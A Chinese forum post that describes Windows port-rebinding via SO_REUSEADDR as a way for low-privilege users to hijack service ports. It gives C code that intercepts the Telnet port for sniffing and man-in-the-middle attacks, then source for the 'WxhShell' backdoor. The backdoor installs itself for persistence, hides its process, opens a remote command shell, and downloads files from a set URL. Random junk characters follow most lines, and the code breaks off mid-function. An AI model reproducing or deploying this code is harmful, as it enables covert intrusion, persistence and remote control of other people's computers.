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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: S3%.-)ib  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); DDqC}l_  
qat45O4A1  
  saddr.sin_family = AF_INET; {hW +^  
wgSR*d>y*9  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); g=8|z#S  
):|G k Sm  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); f;@ b a[  
u|_I Twk  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 SX1Fyy6 w  
d/ 'A\"o+  
  这意味着什么?意味着可以进行如下的攻击: D=5t=4^H(  
7Va#{Y;Zy  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 g]EQ2g_N1  
6xDl=*&%  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) k1QpX@  
a}[=_vb}K  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 mh!N^[=n  
g:~?U*f-  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  `? 9] '  
Z9 ;nC zHm  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 qd#(`%_/  
]yj4~_&O  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 #T gz,e9  
Cu)%s  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 7gZVg@   
{WM&  
  #include D@sx`H(  
  #include Pq[0vZ_}dN  
  #include tF;& x g  
  #include    ,oBk>  
  DWORD WINAPI ClientThread(LPVOID lpParam);   110>p  
  int main() ~u~[E  
  { s= GOB"G  
  WORD wVersionRequested; _.Z&<.lJ  
  DWORD ret; <'o'H  
  WSADATA wsaData; %z!d4J75  
  BOOL val; 1 o  
  SOCKADDR_IN saddr; MQbNWUi  
  SOCKADDR_IN scaddr; LS2ek*FJO  
  int err; @ ^XkU(m  
  SOCKET s; ZH`K%h0  
  SOCKET sc; *`S)@'@:(  
  int caddsize; rlUdAa3  
  HANDLE mt; K[Egwk7  
  DWORD tid;   <x>k3bD  
  wVersionRequested = MAKEWORD( 2, 2 ); 5m%baf2_  
  err = WSAStartup( wVersionRequested, &wsaData ); dc\u$'F@S  
  if ( err != 0 ) { Yt O@n@1  
  printf("error!WSAStartup failed!\n"); 0T{c:m~QXe  
  return -1; _($-dJ {  
  } yuy+}]uB@  
  saddr.sin_family = AF_INET; -!bLMLIg  
   b*6c. o  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 0Z1H6qn  
^NnU gj  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); +qSr=Y:+  
  saddr.sin_port = htons(23); #0YzPMV  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) \0^rJ1*  
  { t7*H8  
  printf("error!socket failed!\n"); ?V\9,BTb)  
  return -1; KHc/x8^9  
  } g qJEJ~  
  val = TRUE; Cr V2 V)|G  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 x>8}|ou  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) \{+nXn  
  { ^]sMy7X0IK  
  printf("error!setsockopt failed!\n"); esC\R4he  
  return -1; 23u1nU[0  
  } ffoo^1}1  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 4MF}FS2)  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 b/n8UxA  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 n[MIa]dK  
u=v%7c2Mx}  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) )o'U0rAx|a  
  { (&Tb,H)=  
  ret=GetLastError(); :zn ?<(sQ  
  printf("error!bind failed!\n"); %9 -#`  
  return -1; x4HMT/@AG2  
  } 'j,Li(@}  
  listen(s,2); G &rYz  
  while(1) 4f*Ua`E_  
  { ,T21z}r  
  caddsize = sizeof(scaddr); n%MYX'0  
  //接受连接请求 !EmR(x  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); EB3o8  
  if(sc!=INVALID_SOCKET) ]RrP !|^  
  { XB!`*vZ/<  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); }r<@o3t  
  if(mt==NULL) \Q?|gfJH  
  { {GH`V}Ob  
  printf("Thread Creat Failed!\n"); 7L~ zI>2  
  break; sKG~<8M}  
  } i37a}.;  
  } g%q?2Nv  
  CloseHandle(mt); Qdx`c^4m  
  } Dxa)7dA|  
  closesocket(s); A2O_pbQti  
  WSACleanup(); "TH-A6v1  
  return 0; O"s`-OM;n  
  }   '__3[D  
  DWORD WINAPI ClientThread(LPVOID lpParam) M@2Qn-I  
  { RzY`^A6G6  
  SOCKET ss = (SOCKET)lpParam; 84oW  
  SOCKET sc; o|*|  
  unsigned char buf[4096]; A@  
  SOCKADDR_IN saddr; WJh;p: q[  
  long num; <}Wy;!L  
  DWORD val; lTOM/^L  
  DWORD ret; .L(j@I t  
  //如果是隐藏端口应用的话,可以在此处加一些判断 18w^7!F?~u  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   tU2to V  
  saddr.sin_family = AF_INET; 8|-mzb&  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); fe9& V2Uu  
  saddr.sin_port = htons(23); luz%FY:  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Qpv}N*v^  
  { s3E~X  
  printf("error!socket failed!\n"); m)]fJ_  
  return -1; Mb 2 L32  
  } ) }it,<  
  val = 100; R#Nd|f<  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) oQjB&0k4  
  { 1PTu3o&3  
  ret = GetLastError(); ~ GT\RAj[  
  return -1; QVRokI`BF  
  } Gv+Tg/  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ?VN]0{JSp  
  { Wo WM  
  ret = GetLastError(); T# _n-b>  
  return -1; (R*jt,x  
  } zQj%ds:  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) :iNAXy  
  { 5iI3u 7Mn1  
  printf("error!socket connect failed!\n"); IOSoc 7+"  
  closesocket(sc); $}nUK~$GSv  
  closesocket(ss); =5=Vm[  
  return -1; y>cmKE  
  } *I1W+W`G  
  while(1) e %v4,8  
  { jUR #  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 Dx# @D#  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 *=0r>]  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 eP)YJe 3  
  num = recv(ss,buf,4096,0); ut5!2t$c  
  if(num>0) 6ewOZ,"j"4  
  send(sc,buf,num,0); v0MOX>`s  
  else if(num==0) %FI6\ |`M  
  break; ?nSp?m;  
  num = recv(sc,buf,4096,0); 6p6Tse]  
  if(num>0) @)'@LF1Z  
  send(ss,buf,num,0); F)iG D~  
  else if(num==0) MJ/%$  
  break; _NqT8C4C  
  } AW;) _|xM  
  closesocket(ss); F#bo4'&>@  
  closesocket(sc); ].f,3it g&  
  return 0 ; ;pyJ O_R[  
  } f]A6Mx6  
ST8/ ;S#c  
WAmoKZw2  
========================================================== R6$F<;nw  
#bZ=R  
下边附上一个代码,,WXhSHELL w~KBk)!*  
+e4<z%1  
========================================================== CU`Oc>;*T  
g!Yh=kA'N  
#include "stdafx.h" pfQZ|*>lkb  
Hi" n GH  
#include <stdio.h> l}-`E@w  
#include <string.h> 6F&]Mk]V8  
#include <windows.h> K2MNaB   
#include <winsock2.h> 8EEQV}4  
#include <winsvc.h> IS4K$Ac.  
#include <urlmon.h> m"7R 4O  
Y6%OV?}v!  
#pragma comment (lib, "Ws2_32.lib") Yg,lJ!q  
#pragma comment (lib, "urlmon.lib") n@,eZ!  
s]8J+8 <uO  
#define MAX_USER   100 // 最大客户端连接数 nzJi)A./  
#define BUF_SOCK   200 // sock buffer `0XbV A  
#define KEY_BUFF   255 // 输入 buffer Lz{T8yvZ  
2&K|~~  
#define REBOOT     0   // 重启 P:-/3  
#define SHUTDOWN   1   // 关机 7Z~szD  
lnSE+YJ>  
#define DEF_PORT   5000 // 监听端口 '*;eFnmvs:  
e27CbA{_w  
#define REG_LEN     16   // 注册表键长度 _7"W\gn:9  
#define SVC_LEN     80   // NT服务名长度 gH// TbS  
)hJjVitG  
// 从dll定义API 1nTaKK q  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); p}|wO&4h  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); L=w Fo^N  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); G/3lX^Z>  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 54cgX)E[x  
sH,)e'0  
// wxhshell配置信息 {ZEXlNPww  
struct WSCFG { V+~{a:8[pq  
  int ws_port;         // 监听端口 iwjl--)@K  
  char ws_passstr[REG_LEN]; // 口令 m9w ; a  
  int ws_autoins;       // 安装标记, 1=yes 0=no I%C:d#p  
  char ws_regname[REG_LEN]; // 注册表键名 {!Z_&i5  
  char ws_svcname[REG_LEN]; // 服务名 K}3"KC  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 t}+c/ C%b=  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 !,!tNs1 K  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 M &EJFpc*  
int ws_downexe;       // 下载执行标记, 1=yes 0=no HF[%/Tu  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" "57G@NC{n  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 x2c*k$<p  
A?k,}~  
}; f/i,Zw  
+9rbQ? '  
// default Wxhshell configuration ZLX`[   
struct WSCFG wscfg={DEF_PORT, Ns8NaD  
    "xuhuanlingzhe", |8{iIvi/  
    1, FH(+7Lz4;  
    "Wxhshell", /_\W*@ E  
    "Wxhshell", 9+Bq00-Z$  
            "WxhShell Service", Prx s2 i 8  
    "Wrsky Windows CmdShell Service", H>X1(sh#}  
    "Please Input Your Password: ", 7t Kft  
  1, f8jz49C  
  "http://www.wrsky.com/wxhshell.exe", L(P:n-^  
  "Wxhshell.exe" g@f/OsR76  
    }; N%E2BJ?  
G*p.JsZP  
// 消息定义模块 rB|:r\Z(jG  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; -+@~*$ d  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ,5uDEXpt{  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 8vo7~6yy  
char *msg_ws_ext="\n\rExit."; |RXC;zt9s  
char *msg_ws_end="\n\rQuit."; v$/i5kcWx  
char *msg_ws_boot="\n\rReboot..."; B_jI!i{N%o  
char *msg_ws_poff="\n\rShutdown..."; Pm;*Jv%  
char *msg_ws_down="\n\rSave to "; p:   
qA/ 3uA!z  
char *msg_ws_err="\n\rErr!"; b+apNph  
char *msg_ws_ok="\n\rOK!"; 1Klu]J%  
~6i mkv^ F  
char ExeFile[MAX_PATH]; &n kGdHX/a  
int nUser = 0;  2_v+q  
HANDLE handles[MAX_USER]; Eakjsk  
int OsIsNt; H4A+Dg,  
"dOY_@kg  
SERVICE_STATUS       serviceStatus;  HcS^3^Y  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; F4(U~n<  
,.MG&O  
// 函数声明 jt?%03iuk  
int Install(void); "E!p1  
int Uninstall(void); a3IB, dr5P  
int DownloadFile(char *sURL, SOCKET wsh); lS*.?4zX  
int Boot(int flag); @5GP;3T  
void HideProc(void); t1s@Ub5);I  
int GetOsVer(void); 4tNgK[6M  
int Wxhshell(SOCKET wsl); 8@ g D03  
void TalkWithClient(void *cs); *.Hnt\4|  
int CmdShell(SOCKET sock); 4<Y[L'UaA@  
int StartFromService(void); ?|yJ #j1=  
int StartWxhshell(LPSTR lpCmdLine); #wuE30d  
g~u!,Zc  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); wk/U"@lq  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Q[tz)99~  
i.,B 0s] Z  
// 数据结构和表定义 uW_ /7ex  
SERVICE_TABLE_ENTRY DispatchTable[] = &`W,'qD$  
{ IQY#EyTb  
{wscfg.ws_svcname, NTServiceMain}, vu >@_hv  
{NULL, NULL} a :AcCd)  
}; -ouL4  
o%Q2.  
// 自我安装 Ll48)P{+}V  
int Install(void) o7B+f  
{ OZ9j3Q;a$  
  char svExeFile[MAX_PATH]; )d Dmq  
  HKEY key; (:]iHg3  
  strcpy(svExeFile,ExeFile); |<icx8hbr  
74wa  
// 如果是win9x系统,修改注册表设为自启动 >g=:01z9  
if(!OsIsNt) { sOenR6J<$  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { :PkSX*E[q  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); KO$8lMm$  
  RegCloseKey(key); @cNI|T  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { @},k\Is  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); L6qA=b~iz  
  RegCloseKey(key); T8 /'`s  
  return 0;  ]^%3Y  
    } h8;"B   
  } 40/[ uW"  
} |8ZAE%/d  
else { =5F49  
c~;.m<yrf  
// 如果是NT以上系统,安装为系统服务 \LXNdE2B  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); H[U*' 2TJ  
if (schSCManager!=0) y+h=x4t  
{ ga%77t|jm3  
  SC_HANDLE schService = CreateService Q"uu&JC  
  ( aW5~z^I  
  schSCManager, izA3INT  
  wscfg.ws_svcname, {+}Lc$O#C  
  wscfg.ws_svcdisp, UQr+\ u  
  SERVICE_ALL_ACCESS, I !~Omr@P  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , roQIP%h!  
  SERVICE_AUTO_START, a)b@en;v  
  SERVICE_ERROR_NORMAL, mAKi%)  
  svExeFile, L1K_|X  
  NULL, :6{HFMf"  
  NULL, ]B[Qdn  
  NULL, 'KG`{K$  
  NULL, ]ORat.*0[T  
  NULL $R4\jIew V  
  ); ,pepr9Yd  
  if (schService!=0) ^jA}*YP  
  { #{sb>^BF  
  CloseServiceHandle(schService); I`1=VC]^8  
  CloseServiceHandle(schSCManager); \ 02e zG  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); euK!JZ  
  strcat(svExeFile,wscfg.ws_svcname); .quc i(D  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ['j,S<Bu~  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); oQO3:2a  
  RegCloseKey(key); dno*Usx5d0  
  return 0; ,B><la87  
    } 6 h):o  
  } iqYc&}k,  
  CloseServiceHandle(schSCManager); Dr609(zg^  
} f}4h}Cq  
} QB>e(j%  
!s:|Ddv  
return 1; @"0qS:s]X  
} aleIy}"  
i"@?eq#h  
// 自我卸载 V;=T~K|)>  
int Uninstall(void) !h\3cs`QU  
{ ;?9~^,l  
  HKEY key; kPe9G  
hz|$3*q  
if(!OsIsNt) { hJ :+*46  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { m? hX=  
  RegDeleteValue(key,wscfg.ws_regname); !JA63  
  RegCloseKey(key); 5+J/Qm8{bb  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 0fNBy^(K  
  RegDeleteValue(key,wscfg.ws_regname); @VAhmYz  
  RegCloseKey(key); ;RI,zQ  
  return 0; Sl#XJ0 g  
  } <rI~+J]s  
} w,7 GC5j\  
} V{r@D!}  
else { A{vG@Pwc:  
E}u\{uY  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); B#}RMFIj  
if (schSCManager!=0) `JCC-\9T_  
{ -XBNtM_ "  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); l=yO]a\QZ  
  if (schService!=0) A(B2XBS!?  
  { as8<c4:v  
  if(DeleteService(schService)!=0) { 2},}R'aR  
  CloseServiceHandle(schService); s_N!6$tS   
  CloseServiceHandle(schSCManager); 0=iJT4IEJ  
  return 0;  W~4|Z=f  
  } KpL82  
  CloseServiceHandle(schService); xXtDGP  
  } ^B/{  
  CloseServiceHandle(schSCManager); rRW&29A  
} &wfM:a/c  
} A`KTm(  
d=pq+  
return 1; (|-/S0AV  
} Z.<B>MD8^  
=uH`EkY:  
// 从指定url下载文件 f &H` h  
int DownloadFile(char *sURL, SOCKET wsh) LQe<mZ<  
{ PHoW|K_e  
  HRESULT hr; -4;u|0_  
char seps[]= "/"; AjpQb ~\  
char *token; {`:!=  
char *file; :V [vE h  
char myURL[MAX_PATH]; ~I'h iV^-  
char myFILE[MAX_PATH]; wo/H:3^N  
h*Ej}_  
strcpy(myURL,sURL); h OV+}P6  
  token=strtok(myURL,seps); 3,GSBiK3}  
  while(token!=NULL) opBv x>S  
  { +um; eL7  
    file=token;  QS!b]a3  
  token=strtok(NULL,seps); R_lNC]b0  
  } 7YsFe6D"  
jE{z4en  
GetCurrentDirectory(MAX_PATH,myFILE); q>Y_I<;'g  
strcat(myFILE, "\\"); nQ mkDPjU  
strcat(myFILE, file); *I~F7Z]|  
  send(wsh,myFILE,strlen(myFILE),0); e= '3gzz  
send(wsh,"...",3,0); a*=e 3nS  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ,}NG@JID  
  if(hr==S_OK) k;%}%"EVZ  
return 0; TGg*(6'z  
else EV9m\'=j  
return 1; twJck~l~n  
k&Sg`'LG8  
} 8!1o,=I$  
5~qr+la  
// 系统电源模块 a+Q)~13  
int Boot(int flag) -V9Cx_]y  
{ <#c2Hg%jh  
  HANDLE hToken; [ML4<Eb+ x  
  TOKEN_PRIVILEGES tkp; (bXCc  
zFOX%q  
  if(OsIsNt) { %o5GD  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 4kx#=MLt  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); fd(>[RP?  
    tkp.PrivilegeCount = 1; :r|dXW  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; sR5dC_  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); *FO']D  
if(flag==REBOOT) { #ujcT%1G  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) J?%Z7&/M>  
  return 0; w=OT^d 9n  
} wTOB'  
else { \"n&|_SZ\  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) m0 `wmM  
  return 0; %F03cI,  
} py)V7*CgH  
  }  pxP7yJL`  
  else { ] $5rh8  
if(flag==REBOOT) { @%RDw*L(  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 8R)*8bb  
  return 0; 6MZfoR  
} Xc'yz 2B  
else { SMnbI .0  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) !j\  yt  
  return 0; ?vvjwys@  
} "ibKi=  
} R_/T bz  
+W-sb5)  
return 1; Q7i^VN  
} !DLIIKO78  
rGx1>xd(k  
// win9x进程隐藏模块 (R.k.,z  
void HideProc(void) r0_3`; H  
{ +-5CM0*&  
bE0cW'6r  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); a}MOhM6T  
  if ( hKernel != NULL ) GX(p7ZgB2  
  { F+9|D  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); &7}-Xvc  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); HAP9XC(F]  
    FreeLibrary(hKernel); O75ioO0  
  } D*heYh  
BoFJ8Ukq|  
return; 7HFw*;  
} bD=_44I  
QRx'BY$5  
// 获取操作系统版本 I/fERnHM/+  
int GetOsVer(void) h}.0Ne  
{ g(|p/%H  
  OSVERSIONINFO winfo; cLX~NPD/  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); C#;}U51:t  
  GetVersionEx(&winfo);  :;rd!)5  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) UtY< R  
  return 1; Ktg6*L/  
  else )J5(M`  
  return 0; J/=b1{d"n  
} v cqL  
Gh|q[s*k  
// 客户端句柄模块 "c=\?   
int Wxhshell(SOCKET wsl) !i0:1{.  
{ .DIHd/wA  
  SOCKET wsh; H2[ S]`?  
  struct sockaddr_in client; t4 $cMf  
  DWORD myID; u:<%!?  
9^>nZ6  
  while(nUser<MAX_USER) k(!#^Mlz[  
{ & Z*&&  
  int nSize=sizeof(client); q=Q5s?sQc  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); "m(HQ5e)*  
  if(wsh==INVALID_SOCKET) return 1; =[3I#s?V  
Lw1~$rZg  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); r>A, 7{  
if(handles[nUser]==0)  KGFmC[  
  closesocket(wsh); >4b-NS/}0  
else V(w2k^7) F  
  nUser++; xLX:>64'o>  
  } 6E85mfFS  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); cC b'z1  
P]1`=-  
  return 0; 02SFFqm  
} $D<LND=o=  
_L<IxOZh+  
// 关闭 socket FNtcI7  
void CloseIt(SOCKET wsh) 44]/rP_m  
{ 9^x'x@6  
closesocket(wsh); &qF   
nUser--; Q3'\Vj,S&  
ExitThread(0); ESL(Mf'  
} V1,O7m+F2  
[C.Pzo  
// 客户端请求句柄 ;WWUxrWif  
void TalkWithClient(void *cs) VYMs`d[  
{ c"H*9u:  
gfR B  
  SOCKET wsh=(SOCKET)cs; WfL5. &  
  char pwd[SVC_LEN]; u#ag|b/C:  
  char cmd[KEY_BUFF]; d*4fl.  
char chr[1]; T\NvN&h-  
int i,j; h,LwC9  
ix [aS  
  while (nUser < MAX_USER) { %\Z{~(&-v  
7 `thM/fN  
if(wscfg.ws_passstr) { c>,|[zP{  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); wspZ Eu>C;  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); $i7iv  
  //ZeroMemory(pwd,KEY_BUFF); gk1I1)p  
      i=0; LhUrVydL  
  while(i<SVC_LEN) { g#2Q1t,~U  
.q"`)PT  
  // 设置超时 \,+act"v  
  fd_set FdRead; Dh*Uv,  
  struct timeval TimeOut; tl !o;`W  
  FD_ZERO(&FdRead); y_;LTCj?  
  FD_SET(wsh,&FdRead); _ )b:F=4j  
  TimeOut.tv_sec=8; q$Gf9&ZO  
  TimeOut.tv_usec=0; MR}GxI  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); -NGY+1  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); i?.MD+f8  
h%|Jkx!v-t  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); H<92tP4M  
  pwd=chr[0]; *VmJydd  
  if(chr[0]==0xd || chr[0]==0xa) { j,?>Q4G  
  pwd=0; TO ^}z  
  break; xxpvVb)mF  
  } )S]4 Kt_  
  i++; z^;*&J   
    } $DuX1T  
4 Z.G  
  // 如果是非法用户,关闭 socket tF}Vs}  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); c!{v/zOz  
} ROw9l!YF  
z<YOA  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); -Jr6aai3+  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); X"0n*UTF,  
5ztHar~f  
while(1) { 'Y Bz?l9  
|gxT-ZM  
  ZeroMemory(cmd,KEY_BUFF); Yw&{.<sL  
,HO~NqmB4  
      // 自动支持客户端 telnet标准   kC"lO'  
  j=0; z%Pbs[*C  
  while(j<KEY_BUFF) { (,z0V+ !  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); = Bz yI  
  cmd[j]=chr[0]; G}<%%U D  
  if(chr[0]==0xa || chr[0]==0xd) { jq#uBU %  
  cmd[j]=0; i"V2=jTeBv  
  break; EdbL AagI6  
  } cOkjeHs 5  
  j++; )4q0(O)d  
    } 8FYcUvxfT  
f mXU)  
  // 下载文件 0.7* 2s-  
  if(strstr(cmd,"http://")) { *.nC'$-2r  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); c((^l&  
  if(DownloadFile(cmd,wsh)) Vj(}'h-c\  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); !*JE%t  
  else ?nN3K   
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $Hh3*reSg-  
  } _?$P?  
  else { Q}.zE+  
f4eLnY  
    switch(cmd[0]) { A14}  
  Z:7X=t =  
  // 帮助 b~uz\%'3  
  case '?': { i]oSVXx4WC  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); o_C j o  
    break; I[E/)R{\  
  } B]jN~CO?  
  // 安装 Sg;c|u  
  case 'i': {  lt%bGjk  
    if(Install()) =gL~E9\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,-,BtfE3  
    else )Nv$ SH  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); agdiJ-lyQ  
    break; QJ1_LJ4)a  
    } Byq4PX%B  
  // 卸载 n u|paA  
  case 'r': { Q(Uj5aX  
    if(Uninstall()) DY]\@<ez  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #SWL$Vm>  
    else tS!|#h-J  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); KFxy,Z$-4  
    break; %heX06  
    } tu(k"'aJ  
  // 显示 wxhshell 所在路径 -UgD  
  case 'p': { 57:Wh= x  
    char svExeFile[MAX_PATH]; >9KQWeD  
    strcpy(svExeFile,"\n\r"); NY]`1yy  
      strcat(svExeFile,ExeFile); F@=)jrO=$  
        send(wsh,svExeFile,strlen(svExeFile),0); F^Q[P4>m\  
    break; pMJK?- )  
    } L_$M9G|5n  
  // 重启 ){=2td$=$  
  case 'b': { ZUE?19GA  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); P8#;a  
    if(Boot(REBOOT)) u[25U;xo  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )dFTH?Mpo  
    else { bvM\Qzc!<3  
    closesocket(wsh); etbB;!6  
    ExitThread(0); XsE] Z4  
    } 0:<dj:%M  
    break; `9%Q2Al  
    } Q{9#Am^6w  
  // 关机 S].=gR0:  
  case 'd': { M[9]t("  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); y7 tK>aD}  
